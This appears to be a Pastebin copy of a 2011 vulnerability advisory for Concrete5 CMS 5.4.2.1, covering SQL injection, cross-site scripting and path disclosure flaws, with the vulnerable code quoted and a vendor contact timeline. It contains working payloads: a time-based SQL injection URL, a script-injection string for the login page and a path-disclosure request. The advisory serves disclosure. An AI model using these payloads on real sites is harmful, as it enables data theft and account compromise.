Advertisement
Guest User

Concrete5 <= 5.4.2.1 Multiple Vulnerabilities

a guest
Oct 4th, 2011
291
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
SQL 6.96 KB | None | 0 0
  1.                                                                                                                        
  2.                                                                                
  3.                            .!JQ                                                
  4.                   :MQMQQQQQMQQ!                                                
  5.                  QQQMQMQMQMQMQ                                                  
  6.                 *QQQMQMQMQMQQ.                                                  
  7.                 MMQQMQMQMQMQM                                                  
  8.                 QMQQMQMQMQMQQ.                    MMQQQQQMQM                    
  9.                 QQQQMQQMQQMQQMJ               JQ:            J                  
  10.                 QQQQQQM+QQQMM*  *QQ         :    +MQQMQQMQQQJ                  
  11.                 MQQQQQ!  .+MQQQQQQ* +        !MQQQQM*         M                
  12.                 MQQQQM        .QMQMQJ       JQQM.*                              
  13.                 *QMQQM            QQ.         M                                
  14.                 .QQQMQQ            MQQ       Q                :                
  15.                 .QMQQMQQMQMQMQQM!:QMQMQ!         MQQMQMQQQQ:JM+                
  16.                  QQM     :++J*. !MQMQMQ+           !+JJ*.     M+                
  17.                  QQ           !   QMQQQQ                       !                
  18.                  QM              :QQMQQQ                                        
  19.                  QQ             +MQQMQMQ                                        
  20.                  QM            QQQMQQQQM                                        
  21.                  MQ            QQMQQMQQ:           !                            
  22.                  +M.        .QQQQQMQQQQ             QM         :                
  23.                  .MJ  MQMQQ:      :MQMQ!    *QQQ        *MQJQ                  
  24.                   MQ.  Q:MQ          !QMQQMQ:          :QM +J                  
  25.                    QM  +J QMQ:      MMQQM!QMQM:      JQQJ .M                    
  26.                     QQ  Q: !MQQMQQQQQQMJ   QQQMQQQQQMQM   Q.                    
  27.                      QM  Q.      :*+!  .     .*++*:      Q.                    
  28.                       QM* Q+                           +Q                      
  29.                        !QQ :Q                         M.                        
  30.                          QQ  M:        QMQQM+       *+                          
  31.                           :QQ  Q        MQQJ       Q                            
  32.                             MQ  M      !QQMQ      *                            
  33.                               QJ :     QMQMQM   !                              
  34.                                !M  .   QQMQMM  +                                
  35.                                  Q!    JQQQQ. !                                
  36.                                    J    QMQQ .                                  
  37.                                         +QQ                                    
  38.                                          QJ                                    
  39.                                                                                
  40.                                                                                
  41. # Exploit Title: Concrete5 <= 5.4.2.1 SQL Injection AND XSS Vulnerabilities  
  42.  
  43. # DATE: 2011-10-04
  44.  
  45. #Published: ☠Cantuaria (http://brzu.net/0h3)  
  46.  
  47. # Author: Ryan Dewhurst
  48.  
  49. # Software Link:  
  50.  
  51. http://sourceforge.net/projects/concretecms/files/concrete5/5.4.2.1/  
  52.  
  53. # Version: 5.4.2.1 (tested)  
  54.  
  55.    
  56.  
  57. 1.Vulnerability Description  
  58.  
  59.    
  60.  
  61. Multiple SQL Injection, Cross-Site Scripting (XSS) AND Information  
  62.  
  63. Disclosure vulnerabilities were IDENTIFIED WITHIN Concrete5 version  
  64.  
  65. 5.4.2.1  
  66.  
  67.    
  68.  
  69. Please note: ONLY a SELECT few vulnerabilities are outlined IN this  
  70.  
  71. disclosure, many other vulnerabilities were discovered. Due TO TIME  
  72.  
  73. restraints ONLY a small sample  
  74.  
  75. OF the vulnerabilities are outlined below. The vendor was contacted  
  76.  
  77. AND replied promptly. Further assistance was asked FOR but NOT  
  78.  
  79. delivered due TO my TIME constraints.  
  80.  
  81.    
  82.  
  83. 2.Software Description  
  84.  
  85.    
  86.  
  87. CMS made FOR Marketing but built FOR Geeks, concrete5 [0] IS a content  
  88.  
  89. management system that IS free AND OPEN SOURCE.  
  90.  
  91.    
  92.  
  93. 3.SQLi PoC [1] (authenticated USER)  
  94.  
  95.    
  96.  
  97. http://concrete5.4.2/INDEX.php/dashboard/reports/surveys/?ccm_order_by=numberOfResponses&ccm_order_dir=,(SELECT  
  98.  
  99. BENCHMARK(1000000,MD5(1)) FROM btSurveyResults WHERE CURRENT_USER()  
  100.  
  101. LIKE 'root@localhost' LIMIT 1) --  
  102.  
  103.    
  104.  
  105. 4.Vulnerable code  
  106.  
  107.    
  108.  
  109. File: concrete/controllers/dashboard/reports/surveys.php  
  110.  
  111.    
  112.  
  113. class SurveyList extends DatabaseItemList {  
  114.  
  115.         protected $itemsPerPage = 10;  
  116.  
  117.         protected $autoSortColumns = array('cvName', 'question',  
  118.  
  119. 'numberOfResponses', 'lastResponse');  
  120.  
  121.    
  122.  
  123.         FUNCTION __construct() {  
  124.  
  125.                 $this->setQuery(  
  126.  
  127.                            'select distinct btSurvey.bID,  
  128.  
  129. CollectionVersions.cID, btSurvey.question, CollectionVersions.cvName,  
  130.  
  131. (select max(timestamp) from btSurveyResults where btSurveyResults.bID  
  132.  
  133. = btSurvey.bID and btSurveyResults.cID = CollectionVersions.cID) as  
  134.  
  135. lastResponse, (select count(timestamp) from btSurveyResults where  
  136.  
  137. btSurveyResults.bID = btSurvey.bID and btSurveyResults.cID =  
  138.  
  139. CollectionVersions.cID) as numberOfResponses ' .  
  140.  
  141.                                 'from btSurvey, CollectionVersions,  
  142.  
  143. CollectionVersionBlocks');  
  144.  
  145.                 $this->FILTER(FALSE, 'btSurvey.bID =  
  146.  
  147. CollectionVersionBlocks.bID');  
  148.  
  149.                 $this->FILTER(FALSE, 'CollectionVersions.cID =  
  150.  
  151. CollectionVersionBlocks.cID');  
  152.  
  153.                 $this->FILTER(FALSE, 'CollectionVersionBlocks.cvID =  
  154.  
  155. CollectionVersionBlocks.cvID');  
  156.  
  157.                 $this->FILTER(FALSE, 'CollectionVersions.cvIsApproved = 1');  
  158.  
  159.                 $this->userPostQuery .= 'group by btSurvey.bID,  
  160.  
  161. CollectionVersions.cID';  
  162.  
  163.         }  
  164.  
  165. }  
  166.  
  167.    
  168.  
  169. 5.Cross-Site Scripting (XSS)  
  170.  
  171.    
  172.  
  173. Page: http://192.168.1.105/concrete5.4.2/INDEX.php/login/forgot_password/  
  174.  
  175. Parameter: rcID  
  176.  
  177. Method: POST  
  178.  
  179. PoC: "><script>alert(1)</script>  
  180.  
  181.  
  182.  
  183. 6.Vulnerable Code  
  184.  
  185.  
  186.  
  187. File: concrete/single_pages/login.php:  
  188.  
  189.  
  190.  
  191. <input type="hidden" name="rcID" value="<?php echo $rcID?>" />  
  192.  
  193.  
  194.  
  195. 7.Full Path Disclosure (FPD)  
  196.  
  197.  
  198.  
  199. http://concrete5.4.2/index.php/tools/blocks/page_list/blog_rss?bID=30&cID='&arHandle=Main  
  200.  
  201.  
  202.  
  203. 8.Vulnerability Timeline  
  204.  
  205.  
  206.  
  207. 2011-09-06 - Reported to vendor  
  208.  
  209. 2011-09-06 - Vendor Reply  
  210.  
  211. 2011-09-07 - Vendor Acknowledge Vulnerabilities and asked for  
  212.  
  213. assistance patching. No assistance given apart from the initial report  
  214.  
  215. due to time constraints.  
  216.  
  217. 2011-10-04 - Vulnerability Disclosed  
  218.  
  219.  
  220.  
  221. 9.References  
  222.  
  223.  
  224.  
  225. [0] http://www.concrete5.org/  
  226.  
  227. [1] http://www.bonsai-sec.com/blog/index.php/not-the-average-sql-injection/
  228.  
  229.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement